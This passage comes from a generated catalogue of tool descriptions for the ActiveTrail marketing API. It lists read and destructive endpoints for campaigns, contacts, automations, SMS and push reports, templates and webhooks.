/api/v1/activetrail/api/mailinglist/{id}/members/{memberId}. Scopes: api. activetrail_delete_api_smartcodesite_by_id (write, destructive) — Delete a given smart Code site via DELETE /api/smartcodesite/{id} DELETE /api/v1/activetrail/api/smartcodesite/{id}. Scopes: api. activetrail_delete_api_templates_by_id (write, destructive) — Delete a specific template. via DELETE /api/templates/{id} DELETE /api/v1/activetrail/api/templates/{id}. Scopes: api. activetrail_delete_api_templates_templatecategory_by_id (write, destructive) — Delete the given template category. please note: if you delete a category - all the templates in this category will be deleted as well via DELETE /api/templates/TemplateCategory/{id} DELETE /api/v1/activetrail/api/templates/TemplateCategory/{id}. Scopes: api. activetrail_delete_api_user_social_by_network_account_by_id_delete (write, destructive) — Delete account's social via DELETE /api/user-social/{network}/account/{id}/delete DELETE /api/v1/activetrail/api/user-social/{network}/account/{id}/delete. Scopes: api. activetrail_delete_api_webhooks_by_id (write, destructive) — Delete a Webhook by a given id via DELETE /api/webhooks/{id} DELETE /api/v1/activetrail/api/webhooks/{id}. Scopes: api. activetrail_delete_api_webhooks_by_id_parameters_by_parameterid (write, destructive) — Delete a given Webhook Parameter via DELETE /api/webhooks/{id}/parameters/{parameterid} DELETE /api/v1/activetrail/api/webhooks/{id}/parameters/{parameterid}. Scopes: api. activetrail_get_api_2waysms_getreplies (read) — Get all the replies for virtual numbers via GET /api/2waysms/getreplies GET /api/v1/activetrail/api/2waysms/getreplies. Scopes: api. activetrail_get_api_account_balance (read) — Get email and SMS credit balance. via GET /api/account/balance GET /api/v1/activetrail/api/account/balance. Scopes: api. activetrail_get_api_account_contactfields (read) — Get the account contact fields filtered by fields' type via GET /api/account/contactFields GET /api/v1/activetrail/api/account/contactFields. Scopes: api. activetrail_get_api_account_contentcategories (read) — Get the account's categories. via GET /api/account/contentCategories GET /api/v1/activetrail/api/account/contentCategories. Scopes: api. activetrail_get_api_account_contentcategories_by_id (read) — Get a specific category details by providing its' ID. via GET /api/account/contentCategories/{id} GET /api/v1/activetrail/api/account/contentCategories/{id}. Scopes: api. activetrail_get_api_account_executivereport (read) — Get executive reports. via GET /api/account/executivereport GET /api/v1/activetrail/api/account/executivereport. Scopes: api. activetrail_get_api_account_executivereport_contactgrowth (read) — Get inactive and active contacts' daily growth filtered by dates (from/to date, the defualt is three months back) via GET /api/account/executivereport/contactgrowth GET /api/v1/activetrail/api/account/executivereport/contactgrowth. Scopes: api. activetrail_get_api_account_integrationdata_activecommerce (read) — Get the account's ActiveCommerce integration data. via GET /api/account/integrationdata/activecommerce GET /api/v1/activetrail/api/account/integrationdata/activecommerce. Scopes: api. activetrail_get_api_account_merge (read) — Check if the account has awaited merges. via GET /api/account/merge GET /api/v1/activetrail/api/account/merge. Scopes: api. activetrail_get_api_account_sendingprofiles (read) — Get the account emails sending profiles via GET /api/account/sendingprofiles GET /api/v1/activetrail/api/account/sendingprofiles. Scopes: api. activetrail_get_api_account_sms_sendingprofiles (read) — Get the account Sms sending profiles via GET /api/account/sms-sendingprofiles GET /api/v1/activetrail/api/account/sms-sendingprofiles. Scopes: api. activetrail_get_api_automationreports_by_id_automationemailscampaignstatistic (read) — Get email campaigns statistics for a specific automation. via GET /api/automationreports/{id}/automationemailscampaignstatistic GET /api/v1/activetrail/api/automationreports/{id}/automationemailscampaignstatistic. Scopes: api. activetrail_get_api_automationreports_by_id_automationpushnotificationcampaignstatistic (read) — Get Push Notification campaigns statistics for a specific automation. via GET /api/automationreports/{id}/automationpushnotificationcampaignstatistic GET /api/v1/activetrail/api/automationreports/{id}/automationpushnotificationcampaignstatistic. Scopes: api. activetrail_get_api_automationreports_by_id_automationsmscampaignstatistic (read) — Get SMS campaigns statistics for a specific automation. via GET /api/automationreports/{id}/automationsmscampaignstatistic GET /api/v1/activetrail/api/automationreports/{id}/automationsmscampaignstatistic. Scopes: api. activetrail_get_api_automationreports_by_id_automationwhatsappcampaignstatistic (read) — Get Whatsapp campaigns statistics for a specific automation. via GET /api/automationreports/{id}/automationwhatsappcampaignstatistic GET /api/v1/activetrail/api/automationreports/{id}/automationwhatsappcampaignstatistic. Scopes: api. activetrail_get_api_automationreports_by_id_contactsended (read) — Returns the contacts that finished a specific automation via GET /api/automationreports/{id}/ContactsEnded GET /api/v1/activetrail/api/automationreports/{id}/ContactsEnded. Scopes: api. activetrail_get_api_automationreports_by_id_contactsstarted (read) — Returns the contacts that started a specific automation. via GET /api/automationreports/{id}/ContactsStarted GET /api/v1/activetrail/api/automationreports/{id}/ContactsStarted. Scopes: api. activetrail_get_api_automationreports_by_id_logautomation (read) — Returns all the contacts that started a specific automation and shows all their steps in the automation. via GET /api/automationreports/{id}/logautomation GET /api/v1/activetrail/api/automationreports/{id}/logautomation. Scopes: api. activetrail_get_api_automationreports_by_id_logautomationqueue (read) — Returns all the contacts that did not finish a specific automation via GET /api/automationreports/{id}/logautomationqueue GET /api/v1/activetrail/api/automationreports/{id}/logautomationqueue. Scopes: api. activetrail_get_api_automationreports_by_id_overviewreport (read) — Returns a summary report for a specific automation via GET /api/automationreports/{id}/OverviewReport GET /api/v1/activetrail/api/automationreports/{id}/OverviewReport. Scopes: api. activetrail_get_api_automationreports_by_id_smscampaignsummaryreport (read) — Returns SMS campaigns' summary reports in a specific automation via GET /api/automationreports/{id}/SMSCampaignSummaryReport GET /api/v1/activetrail/api/automationreports/{id}/SMSCampaignSummaryReport. Scopes: api. activetrail_get_api_automationreports_by_id_summaryreport (read) — Returns email campaigns' summary reports in a specific automation via GET /api/automationreports/{id}/SummaryReport GET /api/v1/activetrail/api/automationreports/{id}/SummaryReport. Scopes: api. activetrail_get_api_automations (read) — Get account's automations via GET /api/automations GET /api/v1/activetrail/api/automations. Scopes: api. activetrail_get_api_automations_by_id (read) — Get an automation information by its' id via GET /api/automations/{id} GET /api/v1/activetrail/api/automations/{id}. Scopes: api. activetrail_get_api_automations_by_id_absplitsteps_by_stepid (read) — Get the information of a specific A/B split step in the given automation via GET /api/automations/{id}/ABSplitSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/ABSplitSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_activation (read) — Get the activation status of the given automation via GET /api/automations/{id}/activation GET /api/v1/activetrail/api/automations/{id}/activation. Scopes: api. activetrail_get_api_automations_by_id_automationstepreportdetails_by_stepid (read) — Getting report details for given step via GET /api/automations/{id}/AutomationStepReportDetails/{stepId} GET /api/v1/activetrail/api/automations/{id}/AutomationStepReportDetails/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_chartdata (read) — Get the JSON that represents the design of the automation flow in the UI(excluding automation's steps) via GET /api/automations/{id}/chartData GET /api/v1/activetrail/api/automations/{id}/chartData. Scopes: api. activetrail_get_api_automations_by_id_contactupdatesteps_by_stepid (read) — Get the information of a specific 'contact update' step in the given automation via GET /api/automations/{id}/ContactUpdateSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/ContactUpdateSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_dateeventtriggerdata (read) — Get trigger's information of a specific "contact celebrates a date" automation. Providing an automation id that has a different trigger will result in an via GET /api/automations/{id}/DateEventTriggerData GET /api/v1/activetrail/api/automations/{id}/DateEventTriggerData. Scopes: api. activetrail_get_api_automations_by_id_design (read) — Get the JSON that represents the design of the automation flow in the UI including the data of the given automation via GET /api/automations/{id}/design GET /api/v1/activetrail/api/automations/{id}/design. Scopes: api. activetrail_get_api_automations_by_id_details (read) — Get the details (excluding the steps) of a specific automation via GET /api/automations/{id}/details GET /api/v1/activetrail/api/automations/{id}/details. Scopes: api. activetrail_get_api_automations_by_id_emailcampaignsteps (read) — Get all the 'send email' steps in a given automation via GET /api/automations/{id}/EmailCampaignSteps GET /api/v1/activetrail/api/automations/{id}/EmailCampaignSteps. Scopes: api. activetrail_get_api_automations_by_id_emailcampaignsteps_by_stepid (read) — Get the information of a specific email step in the given automation via GET /api/automations/{id}/EmailCampaignSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/EmailCampaignSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_flowtimesstarted (read) — Get the automation's steps flow via GET /api/automations/{id}/FlowTimesStarted GET /api/v1/activetrail/api/automations/{id}/FlowTimesStarted. Scopes: api. activetrail_get_api_automations_by_id_notifysteps_by_stepid (read) — Get the information of a specific 'notify someone' step in the given automation via GET /api/automations/{id}/NotifySteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/NotifySteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_pushnotificationsteps_by_stepid (read) — Get the information of a specific push notification step in the given automation via GET /api/automations/{id}/PushNotificationSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/PushNotificationSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_smscampaignsteps (read) — Get all the 'send SMS' steps in a given automation via GET /api/automations/{id}/SMSCampaignSteps GET /api/v1/activetrail/api/automations/{id}/SMSCampaignSteps. Scopes: api. activetrail_get_api_automations_by_id_smscampaignsteps_by_stepid (read) — Get the information of a specific SMS step in the given automation via GET /api/automations/{id}/SMSCampaignSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/SMSCampaignSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_socialsteps_by_stepid (read) — Get the information of a specific Social step in the given automation via GET /api/automations/{id}/SocialSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/SocialSteps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_steps_by_stepid (read) — Get a certain automation step information in the given automation via GET /api/automations/{id}/Steps/{stepId} GET /api/v1/activetrail/api/automations/{id}/Steps/{stepId}. Scopes: api. activetrail_get_api_automations_by_id_triggerinfo (read) — Get a specific automation's trigger information via GET /api/automations/{id}/triggerInfo GET /api/v1/activetrail/api/automations/{id}/triggerInfo. Scopes: api. activetrail_get_api_automations_by_id_whatsappcampaignsteps_by_stepid (read) — Get the information of a specific Whatsapp step in the given automation via GET /api/automations/{id}/WhatsAppCampaignSteps/{stepId} GET /api/v1/activetrail/api/automations/{id}/WhatsAppCampaignSteps/{stepId}. Scopes: api. activetrail_get_api_automations_getupdateactions (read) — Get all the types of actions that can be updated for a contact in an automation via GET /api/automations/GetUpdateActions GET /api/v1/activetrail/api/automations/GetUpdateActions. Scopes: api. activetrail_get_api_automationtriggers_triggertypes (read) — Get all the start trigger options for automations via GET /api/automationtriggers/triggerTypes GET /api/v1/activetrail/api/automationtriggers/triggerTypes. Scopes: api. activetrail_get_api_campaignreports (read) — Get a full report of your campaigns that include: send date, opens, clicks, CTO, bounces, unsubscribers, complaints, unopened and sent emails. You can get via GET /api/campaignreports GET /api/v1/activetrail/api/campaignreports. Scopes: api. activetrail_get_api_campaignreports_by_id (read) — Get an overview report for a specific campaign. You can limit the search to specific time (by default, the search will be for campaigns that were updated in via GET /api/campaignreports/{id} GET /api/v1/activetrail/api/campaignreports/{id}. Scopes: api. activetrail_get_api_campaignreports_by_id_bounced (read) — Get a specific campaign's bounces by bounce type. via GET /api/campaignreports/{id}/bounced GET /api/v1/activetrail/api/campaignreports/{id}/bounced. Scopes: api. activetrail_get_api_campaignreports_by_id_bounces (read) — Get campaign's bounces and quantity of bounces per domain. You can limit the search to specific time (by default, the search will be for campaigns that were via GET /api/campaignreports/{id}/bounces GET /api/v1/activetrail/api/campaignreports/{id}/bounces. Scopes: api. activetrail_get_api_campaignreports_by_id_browsing (read) — Get a specific campaign browser clients statistics via GET /api/campaignreports/{id}/browsing GET /api/v1/activetrail/api/campaignreports/{id}/browsing. Scopes: api. activetrail_get_api_campaignreports_by_id_clickdetails (read) — Get a click report for a specific campaign. You can limit the search to specific time (by default, the search will be for campaigns that were updated in the via GET /api/campaignreports/{id}/clickdetails GET /api/v1/activetrail/api/campaignreports/{id}/clickdetails. Scopes: api. activetrail_get_api_campaignreports_by_id_clickdetails_by_linkid (read) — Get a specific link clickdetails. You can limit the search to specific time (by default, the search will be for campaigns that were updated in the last 3 via GET /api/campaignreports/{id}/clickdetails/{linkId} GET /api/v1/activetrail/api/campaignreports/{id}/clickdetails/{linkId}. Scopes: api. activetrail_get_api_campaignreports_by_id_complaints (read) — Get contacts that reported a specific campaign as "spam". You can choose to get all the complaints from a specific group. You can limit the search to specific via GET /api/campaignreports/{id}/complaints GET /api/v1/activetrail/api/campaignreports/{id}/complaints. Scopes: api. activetrail_get_api_campaignreports_by_id_domains (read) — Get a specific campaign's overview reports per domain. via GET /api/campaignreports/{id}/domains GET /api/v1/activetrail/api/campaignreports/{id}/domains. Scopes: api. activetrail_get_api_campaignreports_by_id_emailactivity (read) — Get all contacts' activity on a specific campaign. You can limit the search to specific time (by default, the search will be for campaigns that were updated via GET /api/campaignreports/{id}/emailactivity GET /api/v1/activetrail/api/campaignreports/{id}/emailactivity. Scopes: api. activetrail_get_api_campaignreports_by_id_opens (read) — Get campaign openers. You can choose to get all the openers from a specific group. You can limit the search to specific time (by default, the search will be via GET /api/campaignreports/{id}/opens GET /api/v1/activetrail/api/campaignreports/{id}/opens. Scopes: api. activetrail_get_api_campaignreports_by_id_sent (read) — Get campaign sent emails. You can choose to get all the openers from a specific group. You can limit the search to specific time (by default, the search will via GET /api/campaignreports/{id}/sent GET /api/v1/activetrail/api/campaignreports/{id}/sent. Scopes: api. activetrail_get_api_campaignreports_by_id_unopened (read) — Get contacts that didn't open a specific campaign. You can choose to get all the contacts that didn't open from a specific group. You can limit the search to via GET /api/campaignreports/{id}/unopened GET /api/v1/activetrail/api/campaignreports/{id}/unopened. Scopes: api. activetrail_get_api_campaignreports_by_id_unsubscribed (read) — Get all the contacts that unsubscribed in a specific email. You can limit the search to specific time (by default, the search will be for campaigns that were via GET /api/campaignreports/{id}/unsubscribed GET /api/v1/activetrail/api/campaignreports/{id}/unsubscribed. Scopes: api. activetrail_get_api_campaigns (read) — Get account's email campaigns. You can get campaigns filtered by various parameters including date and limited to a number of campaigns (you will get via GET /api/campaigns GET /api/v1/activetrail/api/campaigns. Scopes: api. activetrail_get_api_campaigns_by_id (read) — Get campaign by id via GET /api/campaigns/{id} GET /api/v1/activetrail/api/campaigns/{id}. Scopes: api. activetrail_get_api_campaigns_by_id_design (read) — Get campaign design via GET /api/campaigns/{id}/design GET /api/v1/activetrail/api/campaigns/{id}/design. Scopes: api. activetrail_get_api_campaigns_by_id_details (read) — Get campaign details via GET /api/campaigns/{id}/details GET /api/v1/activetrail/api/campaigns/{id}/details. Scopes: api. activetrail_get_api_campaigns_by_id_scheduling (read) — Get campaign schedule via GET /api/campaigns/{id}/scheduling GET /api/v1/activetrail/api/campaigns/{id}/scheduling. Scopes: api. activetrail_get_api_campaigns_by_id_segment (read) — Get campaign sending settings (groups and sending restrictions). via GET /api/campaigns/{id}/segment GET /api/v1/activetrail/api/campaigns/{id}/segment. Scopes: api. activetrail_get_api_campaigns_by_id_template (read) — Get campaign template via GET /api/campaigns/{id}/template GET /api/v1/activetrail/api/campaigns/{id}/template. Scopes: api. activetrail_get_api_campaigns_sentcampaigns (read) — Return a list of sent campaigns via GET /api/campaigns/SentCampaigns GET /api/v1/activetrail/api/campaigns/SentCampaigns. Scopes: api. activetrail_get_api_commerce_order_by_orderid (read) — Get order by its id. via GET /api/commerce/Order/{orderId} GET /api/v1/activetrail/api/commerce/Order/{orderId}. Scopes: api. activetrail_get_api_commerce_schema (read) — Get order fields information via GET /api/commerce/schema GET /api/v1/activetrail/api/commerce/schema. Scopes: api. activetrail_get_api_contacts (read) — Get account's contacts list. You can get the list filtered by customer status (active, unsubscribed, bounced. etc.,) by the state change date (from/to date via GET /api/contacts GET /api/v1/activetrail/api/contacts. Scopes: api. activetrail_get_api_contacts_by_id (read) — Get contact details by contact id via GET /api/contacts/{id} GET /api/v1/activetrail/api/contacts/{id}. Scopes: api. activetrail_get_api_contacts_by_id_activity (read) — Get contact's activity on any email that was sent to them via GET /api/contacts/{id}/activity GET /api/v1/activetrail/api/contacts/{id}/activity. Scopes: api. activetrail_get_api_contacts_by_id_errors (read) — Get contact's bounces via GET /api/contacts/{id}/errors GET /api/v1/activetrail/api/contacts/{id}/errors. Scopes: api. activetrail_get_api_contacts_by_id_groups (read) — Get contact's groups via GET /api/contacts/{id}/groups GET /api/v1/activetrail/api/contacts/{id}/groups. Scopes: api. activetrail_get_api_contacts_by_id_mailinglists (read) — Get contact's mailing lists via GET /api/contacts/{id}/mailinglists GET /api/v1/activetrail/api/contacts/{id}/mailinglists. Scopes: api. activetrail_get_api_contacts_by_id_statistics_campaign_by_campaignid (read) — Gets contact's statistics for specific campaign via GET /api/contacts/{id}/Statistics/Campaign/{campaignId} GET /api/v1/activetrail/api/contacts/{id}/Statistics/Campaign/{campaignId}. Scopes: api. activetrail_get_api_contacts_by_id_statistics_operationmessage_by_messageid (read) — Gets customer statistics for specific operation message via GET /api/contacts/{id}/Statistics/OperationMessage/{messageId} GET /api/v1/activetrail/api/contacts/{id}/Statistics/OperationMessage/{messageId}. Scopes: api. activetrail_get_api_contacts_by_id_statistics_smsoperationmessage_by_messageid (read) — Gets contact's statistics for specific sms operational message. via GET /api/contacts/{id}/Statistics/SmsOperationMessage/{messageId} GET /api/v1/activetrail/api/contacts/{id}/Statistics/SmsOperationMessage/{messageId}. Scopes: api. activetrail_get_api_contacts_getwithsmsstate (read) — Get account's contacts list. You can get the list filtered by customer status (active, unsubscribed, bounced. etc.,) by the state change date (from/to date via GET /api/contacts/GetWithSmsState GET /api/v1/activetrail/api/contacts/GetWithSmsState. Scopes: api. activetrail_get_api_contacts_merges (read) — Get contacts in merge conflict via GET /api/contacts/merges GET /api/v1/activetrail/api/contacts/merges. Scopes: api. activetrail_get_api_contacts_merges_by_id (read) — Get a specific merge conflict information via GET /api/contacts/merges/{id} GET /api/v1/activetrail/api/contacts/merges/{id}. Scopes: api. activetrail_get_api_contacts_subscription_allcontacts (read) — Get contacts' status and the source of their status (if known). You can filter the endpoint by contacts' creation date (from/to date, the defualt is three via GET /api/contacts/Subscription/AllContacts GET /api/v1/activetrail/api/contacts/Subscription/AllContacts. Scopes: api. activetrail_get_api_contacts_subscription_customersstatus (read) — Get statistics of contacts' statuses from specific dates. You can choose to get statistics between specific dates (from/to date, the defualt is three months via GET /api/contacts/Subscription/CustomersStatus GET /api/v1/activetrail/api/contacts/Subscription/CustomersStatus. Scopes: api. activetrail_get_api_contacts_subscription_subscribers (read) — Get all subscribers and the source of their status (if known). You can choose to get all subscriptions between specific dates (from/to date, the defualt is via GET /api/contacts/Subscription/Subscribers GET /api/v1/activetrail/api/contacts/Subscription/Subscribers. Scopes: api. activetrail_get_api_contacts_subscription_unsubscribers (read) — Get all unsubscribers and the source of their status (if known). You can choose to get all unsubscription between specific dates (from/to date, the defualt is via GET /api/contacts/Subscription/Unsubscribers GET /api/v1/activetrail/api/contacts/Subscription/Unsubscribers. Scopes: api. activetrail_get_api_contacts_unsubscribers_sms (read) — Gets all contacts that are unsubscribed from getting sms messages via GET /api/contacts/unsubscribers/sms GET /api/v1/activetrail/api/contacts/unsubscribers/sms. Scopes: api. activetrail_get_api_external (read) — Get the contact list. You can get the list filtered by customer email and/or sms via GET /api/external GET /api/v1/activetrail/api/external. Scopes: api. activetrail_get_api_external_activity (read) — Get the list of contacts activities. You can get the list filtered by the status changed date (from/to date, the default is three months back) and limited to via GET /api/external/activity GET /api/v1/activetrail/api/external/activity. Scopes: api. activetrail_get_api_external_by_externalid (read) — Get contact by the external id and name. if one doesnt match the other we'll get an empty response. via GET /api/external/{externalId} GET /api/v1/activetrail/api/external/{externalId}. Scopes: api. activetrail_get_api_external_contacts (read) — Get the list of contacts (those that have external id and external name). You can get the list filtered by customer status (active, unsubscribed, bounced. via GET /api/external/contacts GET /api/v1/activetrail/api/external/contacts. Scopes: api. activetrail_get_api_external_schema (read) — Get contact's fields information via GET /api/external/schema GET /api/v1/activetrail/api/external/schema. Scopes: api. activetrail_get_api_external_statistics_mail (read) — Get external email statistics via GET /api/external/statistics/mail GET /api/v1/activetrail/api/external/statistics/mail. Scopes: api. activetrail_get_api_external_statistics_sms (read) — Get external SMS statistics via GET /api/external/statistics/sms GET /api/v1/activetrail/api/external/statistics/sms. Scopes: api. activetrail_get_api_external_unmapped (read) — Get the list of unmapped contacts (those that have no external id or external name). You can get the list filtered by customer status (active, unsubscribed via GET /api/external/unmapped GET /api/v1/activetrail/api/external/unmapped. Scopes: api. activetrail_get_api_groups (read) — Get account's groups via GET /api/groups GET /api/v1/activetrail/api/groups. Scopes: api. activetrail_get_api_groups_by_id (read) — Get group information by id via GET /api/groups/{Id} GET /api/v1/activetrail/api/groups/{Id}. Scopes: api. activetrail_get_api_groups_by_id_events (read) — Get all group events. You can get the list filtered by event type (opens, clicks, unsubscribes, etc.), by the event date (from/to date, the default is three via GET /api/groups/{id}/events GET /api/v1/activetrail/api/groups/{id}/events. Scopes: api. activetrail_get_api_groups_by_id_members (read) — Get all group members. You can get the list filtered by customer status (active, unsubscribed, bounced. etc.,) by the state change date (from/to date, the via GET /api/groups/{id}/members GET /api/v1/activetrail/api/groups/{id}/members. Scopes: api. activetrail_get_api_landingpage (read) — Get account's landing pages via GET /api/landingpage GET /api/v1/activetrail/api/landingpage. Scopes: api. activetrail_get_api_mailinglist (read) — Get account's mailing lists via GET /api/mailinglist GET /api/v1/activetrail/api/mailinglist. Scopes: api. activetrail_get_api_mailinglist_by_id (read) — Get MailingList by id via GET /api/mailinglist/{Id} GET /api/v1/activetrail/api/mailinglist/{Id}. Scopes: api. activetrail_get_api_mailinglist_by_id_members (read) — Get all mailing list's members. You can get the list filtered by customer status (active, unsubscribed, bounced. etc.,) by the state change date (from/to via GET /api/mailinglist/{id}/members GET /api/v1/activetrail/api/mailinglist/{id}/members. Scopes: api. activetrail_get_api_operationalmessage_classification (read) — Get classification list via GET /api/OperationalMessage/Classification GET /api/v1/activetrail/api/OperationalMessage/Classification. Scopes: api. activetrail_get_api_pushcampaign_campaign (read) — Get Push campaigns. You can get Push campaigns filtered (you will get the last 20 campaigns in the last 6 months by default) via GET /api/pushcampaign/Campaign GET /api/v1/activetrail/api/pushcampaign/Campaign. Scopes: api. activetrail_get_api_pushcampaignreport (read) — Get Push campaigns reports . You can get Push campaigns reports filtered (you will get the last 20 campaigns in the last 3 months by default) via GET /api/Pushcampaignreport GET /api/v1/activetrail/api/Pushcampaignreport. Scopes: api. activetrail_get_api_pushcampaignreport_by_id_by_aid (read) — Getting the Overview report info of a specific Push campaign. via GET /api/Pushcampaignreport/{id}/{aid} GET /api/v1/activetrail/api/Pushcampaignreport/{id}/{aid}. Scopes: api. activetrail_get_api_pushcampaignreport_by_id_delivered (read) — Getting the delivered report (contacts the campaign was delivered to) of a specific Push campaign. The campaign must be sent in the time range you set using via GET /api/Pushcampaignreport/{id}/Delivered GET /api/v1/activetrail/api/Pushcampaignreport/{id}/Delivered. Scopes: api. activetrail_get_api_pushcampaignreport_by_id_failed (read) — Getting the failed report (contacts the campaign was sent to but got a delivery failure) of a specific Push campaign. The campaign must be sent in the time via GET /api/Pushcampaignreport/{id}/Failed GET /api/v1/activetrail/api/Pushcampaignreport/{id}/Failed. Scopes: api. activetrail_get_api_pushcampaignreport_by_id_opens (read) — Getting the opens report (contacts that opened a campaign) of a specific Push campaign. The campaign must be sent in the time range you set using "from date" via GET /api/Pushcampaignreport/{id}/Opens GET /api/v1/activetrail/api/Pushcampaignreport/{id}/Opens. Scopes: api. activetrail_get_api_pushcampaignreport_by_id_sent (read) — Getting the sent report (contacts the campaign was sent to) of a specific Push campaign. The campaign must be sent in the time range you set using "from date" via GET /api/Pushcampaignreport/{id}/Sent GET /api/v1/activetrail/api/Pushcampaignreport/{id}/Sent. Scopes: api. activetrail_get_api_pushcampaignreport_getsummary (read) — Getting the Summary report info of Push campaigns by dates. (defauly is the last 3 months) via GET /api/Pushcampaignreport/GetSummary GET /api/v1/activetrail/api/Pushcampaignreport/GetSummary. Scopes: api. activetrail_get_api_saleslifecycle_lead_by_leadid (read) — Get lead by its id. via GET /api/salesLifeCycle/Lead/{leadId} GET /api/v1/activetrail/api/salesLifeCycle/Lead/{leadId}. Scopes: api. activetrail_get_api_saleslifecycle_opportunity_by_opportunityid (read) — Get opportunity by its id. via GET /api/salesLifeCycle/Opportunity/{opportunityId} GET /api/v1/activetrail/api/salesLifeCycle/Opportunity/{opportunityId}. Scopes: api. activetrail_get_api_segmentation (read) — Get list of all user's segmentations via GET /api/segmentation GET /api/v1/activetrail/api/segmentation. Scopes: api. activetrail_get_api_segmentation_rulefieldtypes (read) — Get dictionary of rules field types via GET /api/segmentation/ruleFieldTypes GET /api/v1/activetrail/api/segmentation/ruleFieldTypes. Scopes: api. activetrail_get_api_segmentation_ruleoperations (read) — Get dictionary of rules operations via GET /api/segmentation/ruleOperations GET /api/v1/activetrail/api/segmentation/ruleOperations. Scopes: api. activetrail_get_api_segmentation_ruletypes (read) — Get dictionary of rules field types via GET /api/segmentation/ruleTypes GET /api/v1/activetrail/api/segmentation/ruleTypes. Scopes: api. activetrail_get_api_segmentation_ruletypesmapping (read) — Get a full mapping of operations and field types associated to the type of rule. via GET /api/segmentation/ruleTypesMapping GET /api/v1/activetrail/api/segmentation/ruleTypesMapping. Scopes: api. activetrail_get_api_signupforms (read) — Get all your sign-up forms via GET /api/signupforms GET /api/v1/activetrail/api/signupforms. Scopes: api. activetrail_get_api_signupforms_by_id (read) — Get sign-up form by id via GET /api/signupforms/{id} GET /api/v1/activetrail/api/signupforms/{id}. Scopes: api. activetrail_get_api_smartcodesite (read) — Get a list of the account's Smart Code sites via GET /api/smartcodesite GET /api/v1/activetrail/api/smartcodesite. Scopes: api. activetrail_get_api_smscampaign_campaign (read) — Get account's sms campaigns (including operational sms). You can get campaigns filtered by various parameters including dates and limited to a number of via GET /api/smscampaign/Campaign GET /api/v1/activetrail/api/smscampaign/Campaign. Scopes: api. activetrail_get_api_smscampaign_campaign_by_id (read) — Get SMS campaign by id via GET /api/smscampaign/Campaign/{id} GET /api/v1/activetrail/api/smscampaign/Campaign/{id}. Scopes: api. activetrail_get_api_smscampaign_campaign_by_id_estimate (read) — Calculating the estimated number of messages for a given campaign. Can be used only for campaigns that were not sent yet via GET /api/smscampaign/Campaign/{id}/estimate GET /api/v1/activetrail/api/smscampaign/Campaign/{id}/estimate. Scopes: api. activetrail_get_api_smscampaign_operationalmessage_by_id (read) — Get SMS message by id via GET /api/smscampaign/OperationalMessage/{id} GET /api/v1/activetrail/api/smscampaign/OperationalMessage/{id}. Scopes: api. activetrail_get_api_smscampaignreport (read) — Get SMS campaigns reports . You can get campaigns filtered by various parameters including dates and limited to a number of campaigns (you will get camapigns via GET /api/smscampaignreport GET /api/v1/activetrail/api/smscampaignreport. Scopes: api. activetrail_get_api_smscampaignreport_by_id (read) — Get a specific SMS campaign summary report via GET /api/smscampaignreport/{id} GET /api/v1/activetrail/api/smscampaignreport/{id}. Scopes: api. activetrail_get_api_smscampaignreport_by_id_clickdetails_by_linkid (read) — Get clickers by link id. If you didn't send the sms to a group but chose the "add numbers manually" function - you'll get the amount of clickers but not the via GET /api/smscampaignreport/{id}/clickdetails/{linkId} GET /api/v1/activetrail/api/smscampaignreport/{id}/clickdetails/{linkId}. Scopes: api. activetrail_get_api_smscampaignreport_by_id_clickers (read) — Get all the contacts that clicked on a link sms (can be filtered by specific link). If you didn't send the sms to a group but chose the "add numbers manually" via GET /api/smscampaignreport/{id}/Clickers GET /api/v1/activetrail/api/smscampaignreport/{id}/Clickers. Scopes: api. activetrail_get_api_smscampaignreport_by_id_clicks (read) — Get SMS clicks (on links) reports. via GET /api/smscampaignreport/{id}/Clicks GET /api/v1/activetrail/api/smscampaignreport/{id}/Clicks. Scopes: api. activetrail_get_api_smscampaignreport_by_id_delivered (read) — Get all the contacts that the sms was delivered to. If you didn't send the sms to a group but chose the "add numbers manually" function - you'll get the via GET /api/smscampaignreport/{id}/Delivered GET /api/v1/activetrail/api/smscampaignreport/{id}/Delivered. Scopes: api. activetrail_get_api_smscampaignreport_by_id_failed (read) — Get all the contacts that the sms wasn't sent to (delivery failure). If you didn't send the sms to a group but chose the "add numbers manually" function via GET /api/smscampaignreport/{id}/Failed GET /api/v1/activetrail/api/smscampaignreport/{id}/Failed. Scopes: api. activetrail_get_api_smscampaignreport_by_id_sent (read) — Get all the contacts that the sms was sent to. If you didn't send the sms to a group but chose the "add numbers manually" function - you'll get the amount of via GET /api/smscampaignreport/{id}/Sent GET /api/v1/activetrail/api/smscampaignreport/{id}/Sent. Scopes: api. activetrail_get_api_smscampaignreport_by_id_unsubscribed (read) — Get all the contacts that unsubscribed from a specific campaign sms. If you didn't send the sms to a group but chose the "add numbers manually" function via GET /api/smscampaignreport/{id}/Unsubscribed GET /api/v1/activetrail/api/smscampaignreport/{id}/Unsubscribed. Scopes: api. activetrail_get_api_smscampaignreport_getsummary (read) — Get SMS campaigns reports . You can get campaigns filtered by various parameters including dates and limited to a number of campaigns (you will get camapigns via GET /api/smscampaignreport/GetSummary GET /api/v1/activetrail/api/smscampaignreport/GetSummary. Scopes: api. activetrail_get_api_templates (read) — Get account's "my templates" via GET /api/templates GET /api/v1/activetrail/api/templates. Scopes: api. activetrail_get_api_templates_by_id (read) — Get a specific template' information via GET /api/templates/{id} GET /api/v1/activetrail/api/templates/{id}. Scopes: api. activetrail_get_api_templates_by_id_content (read) — Get a template's content via GET /api/templates/{id}/content GET /api/v1/activetrail/api/templates/{id}/content. Scopes: api. activetrail_get_api_templates_templatecategory (read) — Get "my templates" categories via GET /api/templates/TemplateCategory GET /api/v1/activetrail/api/templates/TemplateCategory. Scopes: api. activetrail_get_api_user_social_accounts_get (read) — Get account's social via GET /api/user-social/accounts/get GET /api/v1/activetrail/api/user-social/accounts/get. Scopes: api. 